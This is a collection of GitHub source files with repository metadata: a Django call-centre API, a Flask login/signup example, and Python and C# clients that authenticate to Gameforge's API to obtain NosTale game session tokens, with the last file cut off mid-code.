"detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 235, "license_type": "no_license", "max_line_length": 42, "num_lines": 12, "path": "/call/appCallCentr/admin.py", "repo_name": "HungrySpace/CallCenter", "src_encoding": "UTF-8", "text": "from django.contrib import admin\n\n\n\n\n# class StatesAdmin(admin.ModelAdmin):\n# list_display = (\"id\", \"state\")\n# search_fields = (\"id\", \"state\")\n# list_filter = (\"id\", \"state\")\n#\n#\n# admin.site.register(States, StatesAdmin)\n\n" }, { "alpha_fraction": 0.6264228224754333, "alphanum_fraction": 0.6267960667610168, "avg_line_length": 37.83333206176758, "blob_id": "8dd07e208d0e946a01ade5cf358f6ec880586a5e", "content_id": "9c1a6c5865a36f4936172886b67e01b39fb5d7b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5401, "license_type": "no_license", "max_line_length": 112, "num_lines": 138, "path": "/call/api/serializers.py", "repo_name": "HungrySpace/CallCenter", "src_encoding": "UTF-8", "text": "from rest_framework import serializers\nfrom .models import Events, ClientPhones, Clients, EmployeesPhones, Employee, Status, Position, GroupName, Group\nfrom rest_framework.response import Response\n\n\n# для сбора номеров из базы у определенной карточки\ndef get_phones(instance):\n try:\n phones = [i[\"phone_number\"] for i in instance.phones.all().values()]\n except:\n phones = None\n return phones\n\n\nclass ClientsTestSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Clients\n fields = (\"id\", \"first_name\", \"last_name\", \"description\")\n\n def to_representation(self, instance):\n inst = super().to_representation(instance)\n phones = get_phones(instance)\n if phones:\n inst[\"phones\"] = phones\n return inst\n\n def to_internal_value(self, data):\n ret = super().to_internal_value(data)\n phones = data.get(\"phones\", None)\n if phones:\n ret[\"phones\"] = set(phones)\n return ret\n\n def update(self, instance, validated_data):\n phones_model = set(i.phone_number for i in ClientPhones.objects.filter(id_clients=instance))\n phones = validated_data.pop(\"phones\", None)\n if phones:\n for phone in phones_model.symmetric_difference(phones):\n if not ClientPhones.objects.filter(phone_number=phone, id_clients=instance).exists():\n if not ClientPhones.objects.filter(phone_number=phone).exists():\n ClientPhones.objects.create(phone_number=phone, id_clients=instance)\n else:\n ClientPhones.objects.get(phone_number=phone).delete()\n inst = super().update(instance, validated_data)\n return inst\n\n\nclass ClientsSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Clients\n fields = (\"id\", \"first_name\", \"last_name\", \"description\")\n\n def to_representation(self, instance):\n inst = super().to_representation(instance)\n phones = get_phones(instance)\n if phones:\n inst[\"phones\"] = phones\n else:\n inst[\"phones\"] = []\n return inst\n\n def to_internal_value(self, data):\n ret = super().to_internal_value(data)\n ret[\"phones\"] = []\n\n phones = data.get(\"phones\", None)\n if phones:\n for phone in phones:\n if not ClientPhones.objects.filter(phone_number=phone).exists():\n ret[\"phones\"].append(phone)\n return ret\n\n def create(self, validated_data):\n phones = validated_data.pop(\"phones\", None)\n client_card = Clients.objects.create(**validated_data)\n if phones:\n for phone in set(phones):\n ClientPhones.objects.create(id_clients=client_card, phone_number=phone)\n return validated_data\n\n\nclass EmployeeSerializer(serializers.ModelSerializer):\n class Meta:\n model = Employee\n fields = (\"first_name\", \"last_name\", \"description\", \"id_position\")\n\n def to_representation(self, instance):\n inst = super().to_representation(instance)\n dict_phones = {}\n for em_phone in instance.phones.all():\n dict_phones[em_phone.sip_phone] = [i.id_group_name.name for i in em_phone.group_name.all()]\n inst[\"phones\"] = dict_phones\n inst[\"id_position\"] = instance.id_position.name\n return inst\n\n\nclass EventsSerializer(serializers.ModelSerializer):\n id_client = ClientsSerializer(required=False)\n id_employee = EmployeeSerializer(required=False)\n\n class Meta:\n model = Events\n fields = (\"id\", \"id_asterisk\", \"id_client\", \"id_employee\", \"call_recording\", \"id_status\")\n\n def to_representation(self, instance):\n ret = super().to_representation(instance)\n ret[\"id_status\"] = Status.objects.get(id=ret[\"id_status\"]).name\n return ret\n\n def to_internal_value(self, data):\n number_client = data.pop(\"number_client\", None)\n number_employee = data.pop(\"number_employee\", None)\n ret = super().to_internal_value(data)\n if number_client:\n if ClientPhones.objects.filter(phone_number=number_client).exists():\n client_phones = ClientPhones.objects.get(phone_number=number_client)\n\n else:\n id_clients = Clients.objects.create()\n client_phones = ClientPhones.objects.create(phone_number=number_client, id_clients=id_clients)\n ret['id_client'] = client_phones.id_clients\n if number_employee:\n if EmployeesPhones.objects.filter(sip_phone=number_employee).exists():\n employee_phone = EmployeesPhones.objects.get(sip_phone=number_employee)\n else:\n position = Position.objects.get_or_create(name='None')\n employee = Employee.objects.create(id_position=position[0])\n employee_phone = EmployeesPhones.objects.create(sip_phone=number_employee, id_employee=employee)\n group_name = GroupName.objects.get_or_create(name='ALL')\n Group.objects.create(id_group_name=group_name[0], id_employees_phones=employee_phone)\n ret['id_employee'] = employee_phone.id_employee\n return ret\n\n def create(self, validated_data):\n Events.objects.create(**validated_data)\n return validated_data\n" }, { "alpha_fraction": 0.5455211400985718, "alphanum_fraction": 0.5552843809127808, "avg_line_length": 42.585105895996094, "blob_id": "6c3e0a025919715c8d60fac49a2aaee44dd74ed1", "content_id": "30d108f07995b978dc6f664d586a5be2c600f58d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4097, "license_type": "no_license", "max_line_length": 130, "num_lines": 94, "path": "/call/api/migrations/0001_initial.py", "repo_name": "HungrySpace/CallCenter", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.4 on 2021-07-09 09:37\n\nfrom django.db import migrations, models\nimport django.db.models.deletion\n\n\nclass Migration(migrations.Migration):\n\n initial = True\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Clients',\n fields=[\n ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('first_name', models.CharField(max_length=100)),\n ('last_name', models.CharField(max_length=100)),\n ('description', models.TextField()),\n ],\n ),\n migrations.CreateModel(\n name='Employee',\n fields=[\n ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('first_name', models.CharField(max_length=100)),\n ('last_name', models.CharField(max_length=100)),\n ('description', models.TextField()),\n ],\n ),\n migrations.CreateModel(\n name='EmployeesPhones',\n fields=[\n ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('sip_phone', models.IntegerField()),\n ('id_employee', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.employee')),\n ],\n ),\n migrations.CreateModel(\n name='GroupName',\n fields=[\n ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=50)),\n ],\n ),\n migrations.CreateModel(\n name='Position',\n fields=[\n ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=100)),\n ],\n ),\n migrations.CreateModel(\n name='Status',\n fields=[\n ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=100)),\n ],\n ),\n migrations.CreateModel(\n name='Group',\n fields=[\n ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('id_employees_phones', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.employeesphones')),\n ('id_group_name', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.groupname')),\n ],\n ),\n migrations.CreateModel(\n name='Events',\n fields=[\n ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('id_asterisk', models.FloatField()),\n ('call_recording', models.CharField(max_length=500)),\n ('id_client', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.clients')),\n ('id_employee', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.employee')),\n ('id_status', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.status')),\n ],\n ),\n migrations.AddField(\n model_name='employee',\n name='id_position',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.position'),\n ),\n migrations.CreateModel(\n name='ClientPhones',\n fields=[\n ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('phone_number', models.CharField(max_length=13)),\n ('id_clients', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.clients')),\n ],\n ),\n ]\n" }, { "alpha_fraction": 0.7421875, "alphanum_fraction": 0.7421875, "avg_line_length": 31, "blob_id": "1789e831da6a4c0932783106c84b33c19bb36300", "content_id": "70def071129b4952980bb38969f2966b37fc4ace", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 512, "license_type": "no_license", "max_line_length": 69, "num_lines": 16, "path": "/call/api/urls.py", "repo_name": "HungrySpace/CallCenter", "src_encoding": "UTF-8", "text": "from rest_framework import routers\n# from .api import EventsViewSet, ClientNumberViewSet\nfrom . import views\nfrom django.urls import path\n\n# router = routers.DefaultRouter()\n# router.register('event', EventsViewSet, 'event')\n# router.register('ClientNumber', ArticleView, 'ClientNumber')\n\nurlpatterns = [\n path('events', views.EventsViews.as_view()),\n path('clients', views.ClientCardCreateGet.as_view()),\n path('client/<int:pk>', views.ClientCardEditingDelete.as_view()),\n]\n\n#urlpatterns = router.urls\n" }, { "alpha_fraction": 0.5121951103210449, "alphanum_fraction": 0.5442508459091187, "avg_line_length": 28.89583396911621, "blob_id": "c18e02d752d55cd0787d9d7a2fbc4024037d5177", "content_id": "3602acf28b799ade76a3d54392bf1847da05e819", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1435, "license_type": "no_license", "max_line_length": 68, "num_lines": 48, "path": "/call/api/migrations/0004_auto_20210712_1058.py", "repo_name": "HungrySpace/CallCenter", "src_encoding": "UTF-8", "text": "# Generated by Django 3.2.4 on 2021-07-12 07:58\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('api', '0003_auto_20210712_1005'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='clients',\n name='description',\n field=models.TextField(default='empty'),\n ),\n migrations.AlterField(\n model_name='clients',\n name='first_name',\n field=models.CharField(default='empty', max_length=100),\n ),\n migrations.AlterField(\n model_name='clients',\n name='last_name',\n field=models.CharField(default='empty', max_length=100),\n ),\n migrations.AlterField(\n model_name='employee',\n name='description',\n field=models.TextField(default='empty'),\n ),\n migrations.AlterField(\n model_name='employee',\n name='first_name',\n field=models.CharField(default='empty', max_length=100),\n ),\n migrations.AlterField(\n model_name='employee',\n name='last_name',\n field=models.CharField(default='empty', max_length=100),\n ),\n migrations.AlterField(\n model_name='events',\n name='call_recording',\n field=models.CharField(default='empty', max_length=500),\n ),\n ]\n" }, { "alpha_fraction": 0.6710183024406433, "alphanum_fraction": 0.6710183024406433, "avg_line_length": 37.29999923706055, "blob_id": "aa11f599e6db8248809edcded363ed2c1d40b06b", "content_id": "919401ee0b83a9f2ec81a2016cc59f938d22a7d3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 383, "license_type": "no_license", "max_line_length": 76, "num_lines": 10, "path": "/call/appCallCentr/urls.py", "repo_name": "HungrySpace/CallCenter", "src_encoding": "UTF-8", "text": "from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.index, name='index'),\n path('contact_book', views.contact_book, name='contact_book'),\n path('contacts_book', views.contacts_book, name='contacts_book'),\n path('editing_contact/<pk>', views.editing_contact, name='load_layout'),\n path('del_num/<pk>', views.del_number, name='del_num'),\n]\n" }, { "alpha_fraction": 0.5972430109977722, "alphanum_fraction": 0.5990410447120667, "avg_line_length": 42.33766174316406, "blob_id": "eff49922c7f22962ee5009143d18e34191597997", "content_id": "c6230aee854a6cfc92ce1eee7f5c931da35a7a19", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3337, "license_type": "no_license", "max_line_length": 121, "num_lines": 77, "path": "/call/appCallCentr/views.py", "repo_name": "HungrySpace/CallCenter", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom .forms import AddContactForm\n# from .models import Client, ClientNumber\n# from api.models import Events, States\nfrom django.http import HttpResponseRedirect\n\n\ndef index(request):\n # data = Events.objects.all().values()\n #\n # for levent in data:\n # levent[\"state\"] = States.objects.get(id=levent[\"event_id_id\"]).state\n # if ClientNumber.objects.filter(phone_number=int(levent[\"number\"])).exists():\n # levent[\"card\"] = ClientNumber.objects.get(phone_number=int(levent[\"number\"])).client_id\n # else:\n # levent[\"card\"] = levent[\"number\"]\n return render(request, 'appCallCentr/index.html')\n\n\ndef editing_contact(request, pk):\n return render(request, 'appCallCentr/editing.html')\n # if request.method == 'POST':\n # form = AddContactForm(request.POST or None)\n # if form.is_valid():\n # card = Client.objects.get(id=pk)\n # card.first_name = form.cleaned_data['first_name']\n # card.last_name = form.cleaned_data['last_name']\n # card.email = form.cleaned_data['email']\n # card.description = form.cleaned_data['description']\n # card.save()\n #\n # print(ClientNumber.objects.filter(client_id=pk))\n #\n # for i in request.POST.items():\n # if str(i).find(\"number\") > 0 and not ClientNumber.objects.filter(phone_number=i[1]):\n # num = ClientNumber(client_id=card, phone_number=i[1])\n # num.save()\n # return HttpResponseRedirect('/contact_book')\n # else:\n # card_client = Client.objects.filter(id=pk).values()[0]\n # numbers = ClientNumber.objects.filter(client_id=pk).values()\n # return render(request, 'appCallCentr/editing.html', {'card_client': card_client, \"numbers\": enumerate(numbers),\n # 'count_num': len(numbers)})\n\n\ndef del_number(request, pk):\n pass\n # numbers = ClientNumber.objects.get(phone_number=pk)\n # id_client = str(numbers.client_id.id)\n # numbers.delete()\n # return HttpResponseRedirect('/editing_contact/' + id_client)\n\n\ndef contact_book(request):\n pass\n # form = AddContactForm(request.POST or None)\n # print(request.method, form.is_valid())\n # if request.method == 'POST' and form.is_valid():\n # if not ClientNumber.objects.filter(phone_number=form.cleaned_data['number_0']):\n # card = Client(first_name=form.cleaned_data['first_name'],\n # last_name=form.cleaned_data['last_name'],\n # email=form.cleaned_data['email'],\n # description=form.cleaned_data['description'])\n # card.save()\n # num = ClientNumber(client_id=card,\n # phone_number=form.cleaned_data['number_0'])\n # num.save()\n # else:\n # print('LOOOOOOOOOOOOOOOOOOOOOOX')\n # dict_contact = {}\n # for obj_field in Client.objects.all():\n # dict_contact[obj_field] = list(ClientNumber.objects.filter(client_id=obj_field.id))\n # return render(request, 'appCallCentr/contact_book.html', {\"dict_contact\": dict_contact})\n\n\ndef contacts_book(request):\n return render(request, 'appCallCentr/contact_book.html')\n" } ]
15
whitegreyblack/forms
https://github.com/whitegreyblack/forms
8f8fa2fe2d705443b8cb5898e6c891d9da397773
f90b9bd822e64da95874908412aeea0d54e75c58
19887666414ec0c97f5b080379f1aa38e42b0d02
refs/heads/master
2020-09-05T10:27:41.281797
2019-11-06T19:34:37
2019-11-06T19:34:37
220,073,844
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6534140110015869, "alphanum_fraction": 0.6542782783508301, "avg_line_length": 38.86206817626953, "blob_id": "840839dfc34a3cf0810a9da9959be0bcecb01f93", "content_id": "8d9bb361718a82fd1f115b6d24807c5752573529", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1157, "license_type": "permissive", "max_line_length": 90, "num_lines": 29, "path": "/app/forms/form_signup.py", "repo_name": "whitegreyblack/forms", "src_encoding": "UTF-8", "text": "from wtforms import Form, StringField, PasswordField, validators, SubmitField, SelectField\nfrom wtforms.validators import ValidationError, DataRequired, Email, EqualTo, Length\n\n\nclass SignupForm(Form):\n \"\"\"User Signup Form.\"\"\"\n\n name = StringField('Name', [\n validators.DataRequired(message=('Don\\'t be shy!'))\n ])\n email = StringField('Email', [\n Length(min=6, message=(u'Little short for an email address?')),\n Email(message=('That\\'s not a valid email address.')),\n DataRequired(message=('That\\'s not a valid email address.'))\n ])\n password = PasswordField('Password', validators=[\n DataRequired(message=\"Please enter a password.\"),\n ])\n confirmPassword = PasswordField('Repeat Password', validators=[\n EqualTo(password, message='Passwords must match.')\n ])\n website = StringField('Website')\n submit = SubmitField('Register')\n\n def validate_email(self, email):\n \"\"\"Email validation.\"\"\"\n user = User.query.filter_by(email=email.data).first()\n if user is not None:\n raise ValidationError('Please use a different email address.')\n\n" }, { "alpha_fraction": 0.5923482775688171, "alphanum_fraction": 0.6042216420173645, "avg_line_length": 24.67796516418457, "blob_id": "30697979a1764e721d9f843ee134f37000c00a1a", "content_id": "8cb407794086835b7823b486cd884199d6af401f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1516, "license_type": "permissive", "max_line_length": 78, "num_lines": 59, "path": "/app/app.py", "repo_name": "whitegreyblack/forms", "src_encoding": "UTF-8", "text": "#!flask/bin/python\nimport os\nimport sys\n\nfrom flask import (Flask, abort, jsonify, render_template, redirect, url_for, \n make_response, request)\nfrom forms.form_login import LoginForm\nfrom forms.form_signup import SignupForm\nfrom config import Config\n\napp = Flask(__name__, static_url_path = \"\")\napp.config.from_object(Config)\n\[email protected](400)\ndef bad_request(error):\n return make_response(jsonify( { 'error': 'Bad request' } ), 400)\n\[email protected](404)\ndef not_found(error):\n return make_response(jsonify( {'error': 'Not found'} ), 404)\n\[email protected](405)\ndef not_allowed(error):\n return make_response(jsonify( {'error': 'Not allowed' } ), 405)\n\[email protected]('/signup', methods=['GET', 'POST'])\ndef signup():\n form = SignupForm()\n if request.method == 'POST':\n if form.validate():\n return redirect(url_for('index'))\n return render_template('signup.html', title='Sign Up', form=form)\n\[email protected]('/', methods=['GET', 'POST'])\[email protected]('/login', methods=['GET', 'POST'])\ndef login():\n form = LoginForm()\n if form.validate_on_submit():\n return redirect(url_for('index'))\n return render_template('login.html', title='Sign In', form=form)\n\[email protected]('/index')\ndef index():\n return '''\n<html>\n <head>\n <title>Index</title>\n </head>\n <body>\n <ul>\n <li>a</li>\n <li>b</li>\n <li>c</li>\n </ul>\n </body>\n</html>'''\n\nif __name__ == '__main__':\n app.run(debug = True)\n\n" }, { "alpha_fraction": 0.7586206793785095, "alphanum_fraction": 0.7586206793785095, "avg_line_length": 13, "blob_id": "f785e6f6831ce7c809d2dcad47a7422ce50b47d8", "content_id": "7d36cc887014fb1956364a27ea92aed73fac587f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 29, "license_type": "permissive", "max_line_length": 19, "num_lines": 2, "path": "/README.md", "repo_name": "whitegreyblack/forms", "src_encoding": "UTF-8", "text": "# forms\nFlask form examples\n\n" } ]
3
lonestar1/test
https://github.com/lonestar1/test
f7eecde059c0081547f0fcbd07cf6125ce8d756e
137c8ce264dbf88ae3cc0784e3b22f2a72681cf0
f03b1750bfb2c4b9aaf785057cde4b6950cee558
refs/heads/master
2018-01-14T10:09:10.263673
2017-07-14T07:21:07
2017-07-14T07:21:07
95,503,004
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.75, "alphanum_fraction": 0.75, "avg_line_length": 19, "blob_id": "fb3a9ce528f6609dc750bc3497237a0ca2e0037d", "content_id": "d5743ae51e5ad6ead968d954555c449885ef6d26", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 20, "license_type": "no_license", "max_line_length": 19, "num_lines": 1, "path": "/extrapy.py", "repo_name": "lonestar1/test", "src_encoding": "UTF-8", "text": "# Extra Python File\n" } ]
1
GorlikItsMe/NosTale-Auth
https://github.com/GorlikItsMe/NosTale-Auth
dc2aa318c2cde298ba09d795857feb1a74d3e0f5
c13f1134ab524e4e8152f9074e337249f5d137e3
6f30dada6c68405173a7f0aa8bf17808e6a3247d
refs/heads/master
2021-01-02T17:33:26.687977
2020-02-11T09:36:06
2020-02-11T09:36:06
239,724,552
1
1
null
2020-02-11T09:34:28
2020-02-10T14:58:38
2019-12-11T18:03:10
null
[ { "alpha_fraction": 0.5247252583503723, "alphanum_fraction": 0.5521978139877319, "avg_line_length": 29.375, "blob_id": "4c54d2c291f6d01a92840332552ab26ebf8dfe81", "content_id": "d370c29fbc02eac2de29de2599fe89ea5436b4ed", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 730, "license_type": "permissive", "max_line_length": 97, "num_lines": 24, "path": "/ntauth_csharp/Program.cs", "repo_name": "GorlikItsMe/NosTale-Auth", "src_encoding": "UTF-8", "text": "using System;\nusing System.Collections.Generic;\nusing System.Globalization;\n\nnamespace NostaleTest\n{\n class Program\n {\n static void Main(string[] args)\n {\n var api = new ntAuth(\"pl_PL\", \"pl\", \"5ea61643-b22a-4ad6-89dd-175b0be2c9d9\");\n if (api.auth(\"emailOrNickname\", \"SuperDuperSecretPassword\") == false)\n {\n Console.WriteLine(\"Couldn't auth!\");\n Console.ReadKey();\n return;\n }\n List<string> accounts = api.getAccounts();\n string token = api.getToken(accounts[0]);\n Console.WriteLine(token); // this is your SESSION_TOKEN used to generate login packet\n Console.ReadKey();\n }\n }\n}" }, { "alpha_fraction": 0.48950856924057007, "alphanum_fraction": 0.5038652420043945, "avg_line_length": 42.638553619384766, "blob_id": "f36ab0b7fe99874522fbc7b744a9687017de5553", "content_id": "81f1eba4fc03df4d222ce5e41f2a212bb1650b52", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "C#", "length_bytes": 7246, "license_type": "permissive", "max_line_length": 218, "num_lines": 166, "path": "/ntauth_csharp/ntAuth.cs", "repo_name": "GorlikItsMe/NosTale-Auth", "src_encoding": "UTF-8", "text": "using System;\nusing System.Collections.Generic;\nusing System.Text;\nusing System.IO;\nusing Newtonsoft.Json.Linq; // install this using NuGet https://www.newtonsoft.com/json\n\nnamespace NostaleTest\n{\n class ntAuth\n {\n string locale, gfLang, installation_id;\n string token = null, platformUserId = null;\n\n public ntAuth(string _locale=\"pl_PL\", string _gfLang=\"pl\", string _installation_id = \"5ea61643-b22a-4ad6-89dd-175b0be2c9d9\") {\n locale = _locale;\n gfLang = _gfLang;\n installation_id = _installation_id;\n }\n\n public bool auth(string _username, string _password) {\n string username = _username;\n string password = _password;\n string URL = \"https://spark.gameforge.com/api/v1/auth/thin/sessions\";\n try\n {\n var webRequest = System.Net.WebRequest.Create(URL);\n if(webRequest != null)\n {\n string reqString = \"{\\\"gfLang\\\": \\\"{gfLang}\\\", \\\"identity\\\": \\\"{username}\\\", \\\"locale\\\": \\\"{locale}\\\", \\\"password\\\": \\\"{password}\\\", \\\"platformGameId\\\": \\\"dd4e22d6-00d1-44b9-8126-d8b40e0cd7c9\\\"}\";\n reqString = reqString.Replace(\"{gfLang}\", gfLang);\n reqString = reqString.Replace(\"{username}\", username);\n reqString = reqString.Replace(\"{locale}\", locale);\n reqString = reqString.Replace(\"{password}\", password);\n\n webRequest.Method = \"POST\";\n webRequest.ContentType = \"application/json\";\n webRequest.Headers.Add(\"User-Agent\", \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36\");\n webRequest.Headers.Add(\"TNT-Installation-Id\", installation_id);\n webRequest.Headers.Add(\"Origin\", \"spark://www.gameforge.com\");\n\n byte[] requestData = Encoding.UTF8.GetBytes(reqString);\n webRequest.ContentLength = requestData.Length;\n using (var stream = webRequest.GetRequestStream())\n {\n stream.Write(requestData, 0, requestData.Length);\n }\n\n System.Net.WebResponse response;\n try\n {\n response = webRequest.GetResponse();\n }\n catch (Exception ex)\n {\n return false;\n }\n \n var responseString = new StreamReader(response.GetResponseStream()).ReadToEnd();\n dynamic stuff = JObject.Parse(responseString);\n token = stuff.token;\n platformUserId = stuff.platformUserId;\n return true;\n }\n }\n catch (Exception ex)\n {\n Console.WriteLine(ex.ToString());\n throw;\n }\n return false;\n }\n \n public List<string> getAccounts()\n {\n if((token == null) || (platformUserId == null)) {\n throw new System.ArgumentException(\"First use auth\", \"original\");\n }\n string URL = \"https://spark.gameforge.com/api/v1/user/accounts\";\n try\n {\n var webRequest = System.Net.WebRequest.Create(URL);\n if (webRequest != null)\n {\n webRequest.Method = \"GET\";\n webRequest.ContentType = \"application/json\";\n webRequest.Headers.Add(\"User-Agent\", \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36\");\n webRequest.Headers.Add(\"TNT-Installation-Id\", installation_id);\n webRequest.Headers.Add(\"Origin\", \"spark://www.gameforge.com\");\n webRequest.Headers.Add(\"Authorization\", \"Bearer \" + token);\n webRequest.Headers.Add(\"Connection\", \"Keep-Alive\");\n\n System.Net.WebResponse response;\n response = webRequest.GetResponse();\n\n var responseString = new StreamReader(response.GetResponseStream()).ReadToEnd();\n JObject stuff = JObject.Parse(responseString);\n List<string> acc = new List<string>(new string[] { });\n foreach (JProperty property in stuff.Properties())\n {\n acc.Add(property.Name);\n }\n return acc;\n }\n }\n catch (Exception ex)\n {\n Console.WriteLine(ex.ToString());\n throw;\n }\n List<string> accx = new List<string>(new string[] { });\n return accx;\n }\n\n private string _convertToken(string code)\n {\n byte[] ba = Encoding.Default.GetBytes(code);\n var hexString = BitConverter.ToString(ba);\n hexString = hexString.Replace(\"-\", \"\");\n return hexString;\n }\n public string getToken(string account)\n {\n if ((token == null) || (platformUserId == null))\n {\n throw new System.ArgumentException(\"First use auth\", \"original\");\n }\n string URL = \"https://spark.gameforge.com/api/v1/auth/thin/codes\";\n try\n {\n var webRequest = System.Net.WebRequest.Create(URL);\n if (webRequest != null)\n {\n webRequest.Method = \"POST\";\n webRequest.ContentType = \"application/json\";\n webRequest.Headers.Add(\"User-Agent\", \"GameforgeClient/2.0.48\");\n webRequest.Headers.Add(\"TNT-Installation-Id\", installation_id);\n webRequest.Headers.Add(\"Origin\", \"spark://www.gameforge.com\");\n webRequest.Headers.Add(\"Authorization\", \"Bearer \" + token);\n webRequest.Headers.Add(\"Connection\", \"Keep-Alive\");\n\n string reqString = \"{\\\"platformGameAccountId\\\": \\\"{account}\\\"}\";\n reqString = reqString.Replace(\"{account}\", account);\n byte[] requestData = Encoding.UTF8.GetBytes(reqString);\n webRequest.ContentLength = requestData.Length;\n using (var stream = webRequest.GetRequestStream())\n {\n stream.Write(requestData, 0, requestData.Length);\n }\n\n System.Net.WebResponse response = webRequest.GetResponse();\n\n var responseString = new StreamReader(response.GetResponseStream()).ReadToEnd();\n dynamic stuff = JObject.Parse(responseString);\n string code = stuff.code;\n return _convertToken(code);\n }\n }\n catch (Exception ex)\n {\n Console.WriteLine(ex.ToString());\n throw;\n }\n return null;\n }\n }\n}\n" }, { "alpha_fraction": 0.6375661492347717, "alphanum_fraction": 0.6904761791229248, "avg_line_length": 22.5625, "blob_id": "9ba0046d8c9144f7c7025a9f487e50d010bb65c6", "content_id": "e80109392a2226872da469e2e019551d9640d057", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 378, "license_type": "permissive", "max_line_length": 110, "num_lines": 16, "path": "/example.py", "repo_name": "GorlikItsMe/NosTale-Auth", "src_encoding": "UTF-8", "text": "from ntauth import loginapi\n\napi = loginapi.NtLauncher(locale=\"pl_PL\", gfLang=\"pl\", installation_id=\"5ea61643-b22a-4ad6-89dd-175b0be2c9d9\")\n\nif not api.auth(username=\"admin\", password=\"admin\"):\n print(\"Couldn't auth!\")\n exit()\n \naccounts = api.getAccounts()\ntoken = api.getToken(accounts[0])\n\nif token:\n print(token)\n\nelse:\n print(\"Couldn't obtain token!\")\n\n" }, { "alpha_fraction": 0.5302922129631042, "alphanum_fraction": 0.5623663663864136, "avg_line_length": 30.886363983154297, "blob_id": "12d8de0c76205a1029b73ad41b7743a9a5825ef7", "content_id": "f5a638500113e9b368df9e6811dac9c2f787b30d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2806, "license_type": "permissive", "max_line_length": 140, "num_lines": 88, "path": "/ntauth/loginapi.py", "repo_name": "GorlikItsMe/NosTale-Auth", "src_encoding": "UTF-8", "text": "import requests\nimport binascii\n\nclass NtLauncher:\n def __init__(self, locale, gfLang, installation_id):\n self.locale = locale\n self.gfLang = gfLang\n self.installation_id = installation_id\n self.token = None\n self.platformUserId = None\n\n def auth(self, username, password):\n self.username = username\n self.password = password\n\n URL = \"https://spark.gameforge.com/api/v1/auth/thin/sessions\"\n HEADERS = {\n \"User-Agent\" : \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36\",\n \"TNT-Installation-Id\" : self.installation_id,\n \"Origin\" : \"spark://www.gameforge.com\"\n }\n\n CONTENT = {\n \"gfLang\" : self.gfLang,\n \"identity\" : self.username,\n \"locale\" : self.locale,\n \"password\" : self.password,\n \"platformGameId\" : \"dd4e22d6-00d1-44b9-8126-d8b40e0cd7c9\"\n }\n\n r = requests.post(URL, headers=HEADERS, json=CONTENT)\n if r.status_code != 201:\n return False\n \n response = r.json()\n self.token = response[\"token\"]\n self.platformUserId = response[\"platformUserId\"]\n\n return True\n \n def getAccounts(self):\n if not self.token or not self.platformUserId:\n return False\n \n URL = \"https://spark.gameforge.com/api/v1/user/accounts\"\n\n HEADERS = {\n \"User-Agent\" : \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36\",\n \"TNT-Installation-Id\" : self.installation_id,\n \"Origin\" : \"spark://www.gameforge.com\",\n \"Authorization\" : \"Bearer {}\".format(self.token),\n \"Connection\" : \"Keep-Alive\"\n }\n\n r = requests.get(URL, headers=HEADERS)\n\n if 